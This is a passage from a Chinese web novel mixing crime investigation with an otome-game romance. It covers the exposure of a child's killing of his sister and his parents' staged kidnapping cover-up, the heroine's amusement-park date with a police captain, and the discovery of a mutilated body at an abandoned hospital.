许子安脸色阴沉,嘴里仍在抱怨:“你们吵死了,为什么一整个晚上都那么吵!”
程述抬手把许志刚拨到一旁,突然大步流星走回屋里,径直走向二楼许子安没有关门的房间,随手从柜子上拿了个拼好的乐高坦克,把胳膊悬在二楼的栏杆外,一脸玩味儿地
看着怒目圆睁的许子安,作势要把坦克往下扔。
许子安抬腿就要往楼上跑,许志刚一把将他抱住,语气近乎哀求:“子安,别去,别生气。”
许子安对他的话置若罔闻,却一时挣脱不开,抬头看向程述的眼神里泛着凌人的寒意:“你住手!别碰我的乐高!”
程述懒散地趴在栏杆上,把玩着那个坦克:“如果我扔下去,你会怎么样?”
许子安双眼通红,咬牙切齿地说:“我会杀了你!”
“哦?”程述不以为意一耸肩,“啪”一下掰掉了坦克的炮筒,一脸无所谓地看着他,冷笑道:“怎么杀?”
许子安也不知哪来的力气,一下子挣开许志安的束缚,“嗵嗵嗵”跑上楼,举着拳头就往程述身上砸去。
程述眼疾手快,一只手抵住他的额头,一只手把坦克举在半空中,任凭许子安拼命挥舞着胳膊也碰不到他分毫。
他挑衅似的笑了笑:“回答我一个问题,我就还给你。对你来说,是你妹妹重要,还是乐高重要?”
许子安双眼死死盯着他手里的乐高,脸上有着与年龄不符的狰狞:“你别废话,有种你就放开我,我绝对不会放过你!我要把你碎尸万段!”
虽然他没有回答程述的问题,但答案已经显而易见。
程述当然不会放手,他反手揪住许子安的领子,把他抵在一臂之外:“所以,彭彭和子昕也是因为弄坏了你的乐高,你才这么对他们的吗?”
许子安想要挣扎,但他那点力气跟程述比起来简直是杯水车薪,气得额头上青筋暴起,双手紧紧攥成拳头,恶狠狠地盯着他:“对,他们活该,你也是!你们都该死!我早晚会像杀了他们一样把你给杀了!”
许志刚早已不顾什么体面和素养,试图推开挡在楼梯口的秦聿风,嘴里不住地嘶喊:“你、你们警察就是这么办案的吗?你等着,我要投诉你们!”
又回头冲着呆滞地站在原地的廖莹喊道:“阿莹,去打投诉电话,快!”
廖莹一副魂不附体的模样,苍白的嘴唇上布满裂痕,眼底蒙着一层水雾。听到许志刚喊她的名字,也只是缓慢地顺着话音抬起头,却并未作出任何反应。
祝好走上前拉起她的手,看着她混浊而麻木的双眼,一字一顿地说:“廖女士,我知道身为子安的母亲,你只是出于本能想要保护他。可是子昕呢?你也是子昕的妈妈,你这么做对她公平吗?”
听到许子昕的名字,廖莹机械地转动了下眼珠子,眼泪潸然而下,双唇微微翕动,似乎想说些什么。
祝好放缓了语气,继续说:“如果子昕在天有灵,她一定会想不明白,为什么爱她的爸爸妈妈要隐瞒她死亡的真相,却千方百计保护那个将她杀害、却丝毫不懂得忏悔的人。”
廖莹浑身一激灵,呼吸被逼成了大口大口的喘息,大串眼泪扑簌簌顺着脸颊滑落。
片刻后,她再也没有力气支撑自己的身体,整个人瘫倒在地,捂着脸嚎啕大哭起来:“志刚,我们不能再这样下去了。我对不起子昕,我连自己的女儿都保护不了,我根本不配当一个好妈妈。”
许志刚一愣,仿佛瞬间被抽走了脊梁骨,颓然地坐在阶梯上,颤抖的双手狠狠撕扯自己的头发,一声声痛苦的哀鸣撞击着空气。
许子安察觉到他们的异常,也停止了跟程述的对峙,回过头略带茫然地看着自己的爸爸妈妈,脸上却没有任何表情。
就像程述说的那样——没有关心,没有难过,也没有愧疚。
秦聿风一只胳膊架在楼梯口的扶手上,扶着太阳穴叹了口气:“说说吧,那天晚上,到底发生了什么?”
第127章
及时赶到的警员把许志刚一家人都带回了警局里。
许志刚和廖莹被带到了不同的房间接受审讯,警局也请来了专业的儿童心理学家,单独与许子安进行沟通。
从廖莹和许志刚带着抽泣声、断断续续的叙述里,祝好拼凑出了整件事的真相。
事情发生的那天是廖莹母亲的忌日,虽然她跟廖华关系一般,也实在不太喜欢这个不成器的哥哥,但看在亲兄妹的份上,与许志刚商量过后,还是把他叫到了家里吃饭。
本来以为只是一顿简单的晚饭,没想到饭后还没聊几句,廖华又一次开口问她要钱。
廖莹说:“从他出狱开始,几乎所有的开销都是我们在负担,我多次提出让他去找份工作,他都打哈哈应付过去,每天就是在家抽烟喝酒,没钱了就来问我要。那天,我实在忍无可忍,就跟他大吵了一架。”
那天晚上,廖莹和廖华爆发了激烈的争吵,许志刚担心会吓到孩子,便让许子昕先跟着许子安回房间去玩,接着就赶紧下楼劝架。
当时整个家乱成一团,完全没人注意到楼上房间里有什么动静。
等到廖华终于离开,夫妻俩打算去叫两个孩子洗澡睡觉时,才发现许子昕仰面躺在许子安房间的床上,面色绀紫,早已没了气息。
许志刚赶紧给许子昕做了心肺复苏和人工呼吸,然而一切都已经于事无补。
廖莹疯了一般摇晃着许子安的肩膀,质问他到底对许子昕做了什么,然而他只是指着散落一地的乐高,不耐烦地说:“我都说了让她别动,她非要来掺和,这可是我花了一个星期才拼好的,就这么被她弄坏了!”
许志刚第一次狠狠甩了他一巴掌:“她可是你妹妹,你怎么下得去手的!”
许子安茫然地捂着脸,似乎并不明白爸爸妈妈愤怒和悲伤的来源,只是机械地向他们道歉:“对不起,爸爸妈妈,我知道错了,你们可以原谅我吗?”
提起许子昕的死亡,廖莹近乎崩溃:“子昕平时那么爱美,走的时候却满身污浊,表情也很痛苦,我真的好难过,好自责。但我什么也做不了,只能替她清洗了身子,换上干净的睡衣。”
“这几天晚上我几乎无法入睡,一闭上眼睛就看到她在我面前问我,‘妈妈,你为什么不早点来救我?’”
悲痛欲绝之际,廖莹拿起电话想要报警,却被许志刚拦住了。
另一间审讯室里,许志刚讲述了策划绑架案的经过。
他撑着自己的太阳穴,双眼失神:“当时不知怎么的,我脑子里就冒出这么一个念头,子昕的离开已经是既定的事实,我们不能再失去唯一的孩子了。”
“这一切都是因廖华而起的,如果他不跟我们吵架,我们就不会没有及时发现楼上的状况,这个悲剧也就不会发生。强迫自己冷静下来之后,我想到了一个计划,一个既能摆脱这个废物姐夫,又能隐瞒真相的计划。”
负责审讯的警员问他:“所以你就策划了这起绑架案?”
许志刚吁了口气,胡乱点了点头。
廖莹起初并没有同意,但对一个母亲来说,手心手背都是肉。经过激烈的思想斗争后,还是答应下来。
她按照许志刚的指示给廖华打去电话,告诉他自己背着丈夫投资了一个项目,没想到亏损了,又不敢开口向丈夫要钱填补这个资金缺口,于是希望利用廖华的专业知识策划一起绑架案,以交钱赎人的理由让许志刚给钱。
换做别人,听到这个提议十有八九不会答应,然而廖华见钱眼开,竟然没怎么思考就一口答应下来。
随后,许志刚开车带走了许子昕的尸体,将她安置在另一处房产中,并打开了空调的除湿功能、把温度调到最低,以扰乱警方的视线,让法医难以判断具体的死亡时间。
第二天,他们带上家里的帐篷去了郊外,特地选了一处人迹罕至的空地。
许志刚自嘲地哼笑了一声:“你们说的没错,那天我们只带了一些泡面和水,是因为心里太难受,根本吃不下任何东西。那两包泡面有一包是子安吃的,有一包是我和阿莹勉强咽下去
的。”
看着若无其事在帐篷里玩乐高的许子安,他也曾问过自己,这么做真的值得吗?
但是到了这个地步,再回头也已经来不及了。
那天晚上,他先是连夜赶到廖华的廉租房附近,用备用钥匙把他的车开到露营地点,将帐篷划破,并在帐篷里留下许子昕的鞋子,伪造了有人半夜将她抱走的假象,又把车开了回去。
确认行车记录仪把一切都拍下来之后,他回到了露营的地方,并在天亮时报了警。
警察对现场进行勘查时,被他留下的种种线索所误导,果然怀疑许子昕是被人抱走的。
接下来,只需要等待廖华按约定时间打来的电话助攻就行。
在接到勒索电话之后,警方很快认定这是一起有预谋的绑架案,并花费了大量精力在农贸市场排兵布阵,等待着这一场交易。
然而当时他们并不知道一切都只是许志刚夫妇自导自演的一场戏,目的就是为了拖延时间、转移他们的视线。
趁着警方把所有的注意力都集中在这场交易上时,许志刚开始了下一步的计划。
那天晚上,他先是让廖莹给廖华打去电话,告诉他警方参与进来后事态有些失控,让他收拾收拾行李,买张车票去其他地方躲一阵,等风头过了再回来,剩下的她想办法解决。
廖华不疑有他,听话的照做了。
紧接着,许志刚趁着夜色将许子昕的尸体安置在一处树林中——他的那家牙科诊所某一次团建地曾选在了这儿,他知道这条路每天都会有人来晨跑,许子昕的尸体一定很快就会被发现。
许志刚紧紧攥着双拳,止不住流泪:“那片树林很冷,看着子昕孤零零躺在那里,我的心都要碎了,就从车里拿了她最喜欢的毛毯给她盖上。”
来不及难过太久,她含泪离开了树林,又马不停蹄赶到廖华家,像之前一样驾驶他的车去往抛尸地点之后再回来。
这么一来,就等同与坐实了廖华绑架勒索失败后撕票的罪证。
事情到了这里,一切都已经很明了了,系统也响起了“恭喜您完成本阶段剧情任务”的提示音。
念在许子安还是未成年人,他和心理学家的谈话地点选在了接待室,这里没有单向玻璃,只能隔着屏幕从监控里查看。
与痛不欲生的许志刚和廖莹相比,许子安显得异常淡漠。
回忆起那天晚上,他说爸爸妈妈和舅舅的争吵声已经让他很烦躁了,偏偏许子昕又失手弄掉了他的乐高玩具,他愤怒地冲她吼了几句,没想到许子昕突然大哭起来,还说要去告诉爸爸妈妈。
“如果她告诉爸爸妈妈,他们就会没收我的乐高,我想让她安静点,就拿了个枕头捂住她的脸。”许子安边把玩着手里的乐高玩具,边漫不经心地说:“没过多久,她就不会动了。”
在说起这些时,他的语气稀松平常,没有表现出任何难过和愧疚。
心理学家问他:“在做了这些之后,你有什么感觉?”
许子安皱了皱眉:“很烦,因为爸爸妈妈看起来更生气了,就算我道歉了也没用,爸爸还扇了我一耳光。不过好在他们没有没收我的乐高,还一个劲儿跟我说没事,他们会解决。”
祝好听得心头发瘆,转头问程述:“老大,像许子安这样的反社会型人格,长大会变成什么样?”
程述沉吟片刻,回答道:“严格来说,反社会人格是不能在成年之前做出诊断的,不过像许子安这样的孩子已经体验了杀戮的滋味,如果不加以正确的引导,后果会非常严重,历史上有许多连环杀手都具有反社会型人格的特征。”
连环杀手……
祝好下意识看了看自己的指甲,不由得打了个寒颤。
*
回家的路上,祝好打开控制面板查看自己的资料,发现加上系统奖励,已经积攒了450点积分。
这回的剧情任务进行得还挺顺利,甚至没有用积分换取什么系统功能就已经完成了。
她关掉控制面板,转头问程述:“老大,你说许家以后会怎么样?”
曾经幸福的四口之家,转瞬间支离破碎,虽然身为父母,许志刚和廖莹有着不可推卸的责任,但祝好还是难免有些怅然。
“不知道。”程述的声音一如既往地懒散:“你的剧情任务不是已经完成了吗?还关心嘛么多干什么。”
借着车内光线昏暗,祝好偏头偷偷打量着程述。
程述察觉到她的目光,侧目瞥了她一眼:“你在想什么?”
感情淡漠、缺乏共情能力、不在意别人的感受……祝好若无其事地清了清嗓:“没什么,只是在想你是不是也有那么点儿反社会倾向。”
程述嗤笑一声,忽然没头没脑说了一句:“你知道吗?反社会型人格其实不太擅长吵架。”
“为什么?”
程述说:“吵架的技巧是通过共情能力实现的,吵架很厉害的人共情力一般都很强,能够一眼看穿对方的弱点。但是反社会型人格没有共情能力,所以他们不知道怎么样才能让对方生气。”
祝好哦了一声,回想起他时常能一句话把别人怼得哑口无言、毒舌到舔一下嘴唇就能把自己毒死,应该还挺擅长吵架的,这才放下心来。
车在红灯前停了下来,程述又接着说:“不过,反社会型人格也分高阶和低阶。低阶的反社会型人格脾气暴躁、易怒、行事冲动,而高阶的反社会型人格还有一个特点,就是善于伪装自己,操控人心——”
他突然偏头直勾勾地凝视着祝好,露出一个狡黠的笑容:“不要轻易相信任何人,说不定我真的是反社会人格,只不过把自己伪装成一个好人呢?”
祝好冲他翻了个白眼:“那我就更不担心了,您就没有哪点儿像好人。”
程述低低地笑了一声。
看着窗外的夜景,祝好斟酌了一会儿,小心翼翼地问:“老大,指甲油杀手……也是反社会型人格吗?”
冷不丁听到这个名字,程述的笑容僵在脸上,眉头微不可察地皱了皱,停顿许久才说:“嗯,除了反社会型人格障碍之外,他很有可能还有表演型人格,以及畸形的杀戮欲望。”
祝好还想问得详细些,但看着他忽然黯淡下来的神色,还是把话咽了回去——虽然他很少提起,但祝好知道那个名字和那些悬而未决的案子仍然如一颗带血的木刺,牢牢楔在他心头。
第128章
相比起分享会那个难度max的剧情任务,这次的剧情短小精练许多,掐指一算,前后只花了不到一个星期的时间就完成了。
祝好在家里歇了两天,没触发新的系统任务,倒是在临睡前收到了秦聿风的信息。
她有些意外,作为第一位登场的可攻略对象,秦聿风因为职业原因每天忙得脚不沾地,平时就算有事也是先找程述,直接给她发信息的次数屈指可数。
她点开信息,看到了一条邀约。
秦聿风:“祝好,明天要不要一起去游乐园?”
对了,那个游乐园之约。祝好还以为他早就忘了呢,没想到他还记得。
感动之余,祝好还是想起了他的工作狂本质,关切地问他:“我没问题,不过你不用上班吗?”
秦聿风:“不用,我跟局里要了两天假期。”
那么难得,那当然得答应了。祝好回他:“好,那明天见!”
回复完信息,她点开控制面板,查看几个可攻略对象的资料。
目前剧情任务已经完成了不少,可她跟可攻略对象的好感度都还没过半,进度实在是太慢了,究竟怎么样才能快速提升好感度呢?
对了,不如问问系统吧。
这个念头刚从脑海中闪过,许久未出现的系统略带幽怨的声音立刻在耳边响起:“宿主,您终于想起来这是个乙游了吗?”
来的还真快。
祝好阴阳它:“哦,原来这是个乙游啊,我还以为是什么恐怖游戏呢。”
哪个乙游天天出生入死跟尸体打交道的?
系统似乎自知理亏,尴尬地岔开了话题:“宿主,想要快速提升跟可攻略对象的好感度,您不妨试试多了解他们的喜好。”
有道理。
温珣除了喜欢研究尸体之外,办公室的冰箱里长年放着哈根达斯,总是能随时随地从口袋里掏出薄荷糖,应该比较喜欢吃甜食。
李砚川的喜好就更容易琢磨了,红酒、牛排、爱情电影,还有白眼狼。
仔细回忆起来,认识了那么久,她对秦聿风的喜好还真是一无所知。
不过没关系,楼下不就有个跟秦聿风关系很好的军师吗?
祝好披上外套下了楼,客厅一片漆黑,但程述房间的门缝下还透着一丝亮光。她敲了敲门,问:“老大,你睡了吗?”
房间里传来程述懒散的声音:“干什么?”
“我可以
进去吗?”
过了一会儿,他才说:“嗯。”
祝好拧开门把手,刚要推门进去,脑海突然闪过之前在旅馆里意外看到的那个春光乍泄的画面,猝然顿住了脚步,小心翼翼地问:“你穿衣服了吗?”
“……”程述沉默了一会儿,才问:“你想让我现在脱吗?”
祝好脱口说:“不用!”
她小心翼翼地推开一条缝探头进去看了一眼,发现房间里只开了一盏台灯,程述穿着宽松的白色T恤半倚在床头看书,听到动静懒洋洋地抬眼看她:“大半夜的有什么事儿?”
既然他穿戴整齐,那祝好就放心了,她一屁股在床边坐下:“明天我要跟秦警官出去玩儿。”
程述神色没怎么变换,只是不动声色地往里挪了挪,给她腾了点儿位置:“去就去呗,用不着跟我报备。”
“我不是在跟你报备。”祝好说:“你跟秦警官认识那么久了,应该对他挺了解的吧?跟我说说他呗。”
程述看起来兴致缺缺,漫不经心地回答:“他一顿能吃三碗饭,打拳习惯先出左手,1000米跑比我慢6秒钟,左边大腿上有个胎记。”
祝好:“……”
她扶着额头:“不是这个了解。我的意思是,他喜欢吃什么、玩什么,或者喜欢看什么电影?”
程述眯了眯眼,十分认真地思忖片刻才回答:“他喜欢吃辣的,越辣越好,他还喜欢玩高空项目,电影他不喜欢,他喜欢看动画片。”
这么多信息信手拈来,祝好心花怒放,拍了拍他的肩膀表示感谢:“谢谢你啊,军师。”
程述手撑着脑袋,目光重新回到书页上,几不可察地勾了勾嘴角,没吭声。
跟秦聿风约定的时间是早上十点,祝好起了个大早,给自己画了个淡妆,换上从系统商城兑换的一件羊角扣毛呢大衣和格子长裙,还戴上一顶贝雷帽。
她踩着小皮鞋蹬蹬蹬从楼上下来时,程述刚提着一袋罐头回家,上下打量她一眼后,淡淡地说:“打扮那么好看也没用,以我对老秦的了解,你要是问他今天的你跟昨天的你有什么区别,他绝对说不出来。”
“那可不一定。”祝好朝他翻了个白眼:“再说了,打扮是为了我自己开心,又不是为了别人。”
平时为了方便,她都是怎么舒服怎么穿,好不容易有机会出去玩儿一回,当然得打扮得好看点儿。
程述被她呛得没话说,径直走进厨房给白眼狼开罐头去了。
秦聿风到了之后没有选择在楼下等,而是直接敲开了程述家的门,看到祝好的那一刻,他明显愣了一下。
祝好说:“怎么了吗?秦警官。”
秦聿风飞快挪开目光,捂着嘴干咳了一声:“没什么,只是觉得你今天……很好看。”
跟李砚川的直率和温珣的游刃有余相比,秦聿风显然不太擅长打直球,祝好还没做出回应,他的耳尖就已经飘红了。
系统响起提示音:“跟秦聿风的好感度+5,获得50积分!”
祝好给程述递了个胜利的目光,程述回了她一个白眼。
秦聿风没看懂他们的眼神交流,问程述:“老程,你今天有事吗?要不要跟我们一起去?”
祝好本以为程述会拒绝,没想到他从厨房里探出头来,朝祝好露出一个不怀好意地笑,挑了挑眉:“我当然没——”
祝好赶紧打断他:“老大当然没空了!他今天要带白眼狼去洗澡,你看看,脏得跟流浪猫似的,毛都打绺儿了!”
白眼狼配合地在地上打了个滚儿。
祝好扯了扯秦聿风的袖子:“秦警官,我们赶紧走吧,再晚点儿排队的人就多了。”
秦聿风点点头,跟她一前一后出了门。
走到三楼时,祝好蹑手蹑脚,尽量把脚步放到最缓,没想到还是被眼尖的房东大妈看到了,热情地跟她打招呼:“小祝,出去玩呢?”
她只好尴尬地回了一个笑容:“嗯,张姨早!”
“小程不一起吗?”房东大妈边问边看向秦聿风,眼神里多了几分探究的意味。
祝好心说不好,赶紧把秦聿风打发走:“秦警官,你先去开车,我跟张姨聊两句。”
秦聿风的身影刚消失在拐角处,房东大妈就迫不及待贴在祝好耳边问:“小祝啊,姨最近发现好像有好多个男孩子来找你,是吗?”
祝好有口难辩,明明来找她的就只有温珣、李砚川和秦聿风,怎么到了她口中就变成了“好多个”?
她刚想解释,房东大妈却抢先一步开口了:“要我说啊,虽然小程是不错,最近房租也按时付了,不过我看那几个男孩也不比小程差。女孩子啊,确实要多对比再做决定,可别把自己的路给堵死了。”
祝好:?
祝好没料到她会这么说,愣了一下,差点绷不住笑出声来,心说这大妈可真够双标的,之前她怀疑许安宁和程述掰扯不清时,还提醒祝好要“擦亮眼”,到了祝好这儿,又变成“多对比再做决定”了。
她解释道:“张姨,您多想了,我跟他们只是朋友,程述也认识他们的。”
房东大妈看起来还有些失望:“只是朋友啊……”
顿了顿,又不死心地补充了一句:“姨说的你考虑考虑,那几个男孩子看着条件也不错,女人嘛,不要在一棵树上吊死。”
眼看话题要走向一条没完没了的不归路,祝好赶紧找了个借口跟房东大妈道别,随后溜之大吉。
*
祝好上一回去游乐园已经是大学了,好几年没感受过这种轻松愉快的氛围,她对这次游乐园之旅充满了期待。
刚进大门,一眼就能看到摩天轮旁边的云霄飞车。祝好想起程述说秦聿风最喜欢玩高空项目,便兴奋地扯了扯他的袖子:“秦警官,我们去坐那个吧!”
秦聿风面色微微一变:“啊?”
不等他答应,祝好就拉着他的胳膊兴冲冲往云霄飞车的方向跑,时间正好,上一批游客才刚下来,就轮到他们了。
祝好在位置上坐下,系好了安全带,转头看秦聿风时,发现他脸色似乎不太对,还没来得及问出口,云霄飞车就已经启动了。
随着车身缓缓爬升,眼前的视野也逐渐开阔起来,心跳仿佛与车身同步,每一次向上攀爬,内心的紧张便增加一分。
到达顶峰那一刻,时间仿佛凝固了,整个世界述地陷入短暂的寂静。
突然之间,云霄飞车开始了不受控制的自由落体,突如其来的失重感和迎面而来的强风让祝好的眼睛几乎无法睁开,耳朵里充斥着呼啸的风声与人们的尖叫声,将恐惧与兴奋推至高潮。
简直太爽了!
从云霄飞车上下来时,祝好还沉浸在刚才的刺激当中,刚要转过头跟秦聿风分享,就看到他双手撑在栏杆上,面色有些苍白。
她吓了一跳,赶紧问他:“秦警官,你没事吧?”
“没事……其实我有点儿恐高。”秦聿风做了个深呼吸,尴尬地摸了摸后脑勺,又嘴硬地补了一句:“不过只有一点点儿而已,不严重,从楼上往下看无所谓,但是这种……太刺激了。”
祝好不由得一愣:“你恐高这事儿老大知道吗?”
秦聿风苦笑了一下:“老程?当然知道了,他以前还经常拿这事取笑我来着。”
“……”祝好想了想,试探性问他:“那你一定也不能吃辣吧?”
秦聿风点点头:“你怎么知道?太辣的不行,我对辣椒有点儿过敏。”
果然。
祝好问了最后一个问题:“那你喜欢看动画片吗?”
“动画片?”秦聿风没明白她为什么突然这么问,但还是老实回答:“我大概二十多年没再看过那玩意儿了吧。”
如果游戏能读档,祝好一定会把时间调到昨天晚上,先甩自己一耳光——叫你那么容易相信他,然后再去把程述暴揍一顿。
这家伙怎么能说话不算话呢?明明答应要当她的军师,还以为他是真心实意要帮自己呢,现在看来分明就是拿她寻开心!
气死了,简直气死了!
好在秦聿风的恐高症确实不算严重,只花了几分钟就缓过来了,他抬手在祝好面前晃了一下:“祝好,你在发什么呆呢?”
祝好回过神来,有些抱歉:“对不起啊秦警官,我不知道你恐高,还拉着你跟我坐云霄飞车,吓着你了吧。”
“没关系,是我没有提前跟你说,扫你的兴了。”秦聿风温和地笑了笑:“今天是休息日,你也别叫我秦警官了,直接叫我名字吧。”
“嗯。”祝好点点头。
难得出来玩儿一回,她决定先把这小小的不愉快抛之脑后,等回去了再跟程述算账。
所幸这个游乐园足够大,除去那几个高空项目之外,还有许多娱乐设施可以选择。
她和秦聿风一起去了鬼屋探险,玩了碰碰车,看了场马戏表
演,最后还去射击馆来了场真人cs。秦聿风不愧是专业出身,带领着整个小队拿下了胜利,还赢得了一个玩具熊作为奖品。
夜幕降临时,游乐园里的美食街也开始营业了,除了各种美味的小吃,还有不少卖小玩意儿的小摊,街上处处张灯结彩,洋溢着一派甜蜜的气息。
祝好抱着小熊跟秦聿风边走边逛,路过一家饰品店时,一个在路边揽客的小女孩扯了扯秦聿风的衣摆,满脸期待地看着他:“哥哥,进来给姐姐挑个礼物吧?”
祝好刚想说不用,秦聿风就摸了摸小女孩的头,应了一声,转头对祝好笑了一下:“祝好,我们进去看看吧。”
饰品店有许多有趣的装饰品,在老板娘的热情推荐下,他给祝好挑了一条柔软又暖和的兔毛围巾。
祝好想了想,说:“秦聿风,我也给你挑个礼物吧,你想要什么?”
秦聿风愣了一下,不好意思地摸了摸脑袋:“我、我也不知道,你看着挑吧。”
祝好点点头,在饰品店里转了一圈,目光在货架上逡巡片刻,拿起了一个猫耳朵发箍,踮起脚戴在秦聿风头上。
白色的猫耳朵没有削弱他一身的硬朗的气质,却无端给他添了一份柔软。祝好憋不住笑出声来,连老板娘和小女孩都忍不住惊叹:“哇,好可爱!”
秦聿风抬手摸了摸那两个毛绒绒的耳朵,眼睛不自觉瞥向一边,小麦色的脸庞不明显地红了起来。
付钱时,饰品店外面的街上不知是谁喊了一声:“焰火表演要开始了!”
祝好眼睛一亮,摇了摇秦聿风的胳膊:“焰火表演开始了,我们赶紧去占个好位置!”
他们跟着熙熙攘攘的人群一起来到了广场上,随着倒计时响起,绚丽的烟火在黑色的夜幕中绽放出一朵朵色彩斑斓的花。
四下人们的惊叹此起彼伏,秦聿风看着布满天幕的火树银花,突然说了句:“谢谢你,祝好。”
祝好一时没反应过来:“嗯?”
系统响起提示音:“跟秦聿风的好感度+15,获得150积分!”
秦聿风呼了口气,漫天烟火烙进了他的眼眸中:“我真的好久好久没给自己放过假了,今天真的很开心。”
祝好朝他笑了笑:“那我们以后常来玩儿。”
秦聿风也笑着说了声好,然后低头看着祝好。
流转的光线下,祝好看到映在他眼眸中的烟花消失了,取而代之是自己的身影。
周围的喧闹和欢呼似仿若静止,离她远去,目光交汇的瞬间,她的心跳无端加快了速度:“秦——”
话还没说完,秦聿风的手机不合时宜地响了起来,他无奈地拿出手机看了眼屏幕,微微皱了皱眉:“是队里的电话。”
祝好问:“你今天不是休假吗?”
秦聿风无奈地笑了一下:“休假是休假,但如果有重要的案子还是得及时赶到——”
他看了眼周围:“我找个地方接电话。”
祝好点点头,跟着他离开喧嚣的人群,找了处僻静的角落。
他接起电话,眉头越拧越深,简短地应了声“嗯”之后挂断了电话,抱歉地对祝好说:“不好意思啊,有个案子,我得马上赶过去,我先送你回家。”
祝好摇了摇头:“没关系,我跟你一起去吧。”
第129章
离开游乐园时,焰火表演已经进入了尾声,方才被烟花映得如同白昼的天空只剩下一层稀薄的烟雾,逐渐褪成了墨一般的黑色。
车内暖气很足,祝好稍稍把脖子上的围巾松了松,解开了外套的纽扣。
秦聿风突然出声:“祝好,我是不是有点儿扫兴?”
祝好一愣,没明白他的意思,摇了摇头:“为什么这么说?”
秦聿风苦笑了一下:“本来要了两天假想好好放松一下的,没想到这才歇了不到一天又有新案子,连焰火表演都没能陪你看完。”
祝好冲他笑了笑:“没关系,今天已经够开心了。”
这句话是发自内心的,今天一整天她玩得很尽兴,跟秦聿风的好感度还提升了20点,这一趟实在太值了。
秦聿风也偏过头,含笑的眼眸望向她:“我也是。”
好感度高了就是不一样,连看她的眼神都多了些不同的情绪。祝好一下子不太适应这样的转变,岔开了话题:“对了,这回又是什么案子?”
一提到案子,秦聿风的笑意渐黯,表情也凝重起来:“说是有人在废弃的医院里发现了一具尸体,具体情况没多问,去了就知道了。”
祝好点点头。
那座废弃医院离游乐园有几十公里的距离,不过走的都是城郊的路,车辆不多,所以只花了不到半个小时就到达了案发现场。
秦聿风把车停在闪烁着红蓝警灯的警车旁,提醒祝好:“外面风大,别忘了把扣子系上。”
说完刚要打开车门下车,就被祝好叫住了:“等等——”
他坐回位置上,疑惑道:“怎么了?”
祝好解开安全带,微微欠身,把猫耳朵发箍从他头上取下来,顺手替他拨开散落在额前的头发:“差点儿忘了这个。”
秦聿风身子一僵,不自在地摸了摸泛红的耳尖:“走吧,我们过去看看。”
现场已经拉起了警戒线,有警员认出秦聿风的车,一路小跑过来:“秦队。”
说话间,他的视线匆匆从祝好身上掠过,又飞快收回,似乎在好奇为什么程述的“小跟班”会从自家队长的车上下来。
一到案发现场,秦聿风立刻回归到了“秦警官”的角色当中,边往警戒线里走边问:“什么情况?”
警员汇报道:“有几个高中生闲得无聊,相约来这里探险,没想到发现了一具尸体,被吓得不轻,就赶紧报了警。”
“他们人呢?”
警员回答:“在那边做笔录了。”
顿了顿,又说:“那几个孩子吓得话都说不清楚,其中有个男孩子都吓尿了,估计也问不出什么有用的信息,已经通知他们的家长过来接人了。”
秦聿风点点头:“我们先进去看看。”
这家曾经见证了不少生离死别、悲欢离合的医院已经废弃了十余年,如今正静静地矗立在荒郊野岭中。
踏进医院里,空气中充斥着霉湿混杂着尘土的气味,随处可见废弃的病床和医疗器械,墙上满是历代探访者留下的诡异的涂鸦,跟恐怖片中的场景还颇有几分相似。
发现尸体的地方是一楼走廊的尽头,大功率的探照灯冲淡了弥漫在这里的可怖,在来往忙碌的警员之中,祝好看到了程述的身影。
他应该到得比他们早一些,看到祝好,嘴角立刻弯起了一个意味深长的笑:“玩得开心吗?”
祝好一看到他就来气,目不斜视地从他面前走了过去。
被忽视的程某人愣了一下,贱兮兮的笑容在嘴角僵成了一个尴尬的弧度,悻悻地跟在祝好身后:“怎么,不开心吗?”
祝好依旧没
搭理他,走到正在做尸检的温珣身旁,跟他打了个招呼:“温珣,你——”
她的目光落在那具横躺在一堆杂物中间的尸体身上,话音顿住了。
死者是个年轻男性,看着也就二十出头的模样,全身上下寸缕不着,裆部空空如也——原本那个部位应该有的东西被切了下来,随意扔在一旁。
祝好喉头一翻就要吐,赶紧移开目光,抚着胸口给自己顺气。
程述阴魂不散,不知又从哪儿冒出来了:“要不要给你拿个袋子?”
“不用。”祝好强压住要吐出来的冲动,扯了扯围巾挡住口鼻,从程述身旁挪开了。
温珣对尸体进行了初步的检查,得出了大致结论:“尸斑和尸僵已经固定,死亡时间估计在24小时左右,尸体上没有致命的外伤,暂时没办法判断死亡原因。”
“那个……”秦聿风朝着那一团血肉模糊的物体努了努嘴。
“伤口没有生活反应,是死后才被切下来的。”温珣的一句话让在场的男同胞们不约而同松了口气,放松了夹紧的双腿。
秦聿风问身边的警员:“现场有没有留下什么线索?”
警员摇摇头:“刚才那些学生一开始以为是具人体模型,还凑近观察了一阵,结果发现居然是具尸体,吓得连滚带爬,跑的时候又摔了几跤,把现场都破坏得差不多了,提取不到有价值的足印,附近也没有找到属于死者的衣物。”
这么看来,现在暂时还没办法确定死者的身份。
不过有一点可以肯定,死者应该是死后才被扔到这儿的,因为他的背部有不少划痕和污渍,现场的拖拽痕迹也很明显。
他看起来块头不小,身材也练得不错,就算是跟他体型相当的人也很难独自将他抬到这儿,拖拽当然是最轻松省力的抛尸方法。
秦聿风朝着程述抬了抬下巴:“老程?”
程述不知在想些什么,听到他叫自己的名字才缓缓抬头,脸上有少见的茫然:“嗯?”
“问你话呢,有什么发现吗?”秦聿风疑惑地捏了捏他的肩膀:“干嘛呢你,被吓傻了?”
程述堪堪回神,蹲下身子查看尸体裆部的伤口,清了清嗓,以掩饰刚才的晃神:“被割掉生殖器的案例中,十有八九跟性和仇恨有关。”
秦聿风凝神认真听着,等了好一会儿,没见他继续说下去,才皱了皱眉,问他:“没了?”
程述撇了撇嘴,摘下手套:“没了,就一具无法确定死因的尸体,我还能给你说出花来?先查出死者身份再说吧。”
目前能找到的线索实在不多,秦聿风只好嘱咐警员保护好现场,先把尸体带回去做尸检,确认死者身份。
末了,又转头对程述和祝好说:“你们也先回去休息吧,明天有消息再通知你们。”
回去的路上,程述一直在没话找话,说的都是些没什么营养的话题。祝好不想搭理他,把头别到一旁看着窗外,当作没听到。
看她不说话,程述又问:“你干嘛了?怎么跟个闷葫芦似的。”
什么人呐,都不会看人脸色的吗?
祝好偏过头,努力压服情绪:“程述,我是因为信任你才把秘密告诉你,你这样拿我寻开心有意思吗?”
大概是许久没听到她直呼自己大名,程述愣了愣,嘴角轻轻一动,干笑一声:“我怎么了?”
这幅听不懂好赖话的模样让祝好火气更大了:“怎么了?你拿我寻开心也就算了,可你明知道秦警官有恐高症还要我带他去玩高空项目,你知不知道这样很危险?万一他出事了怎么办?”
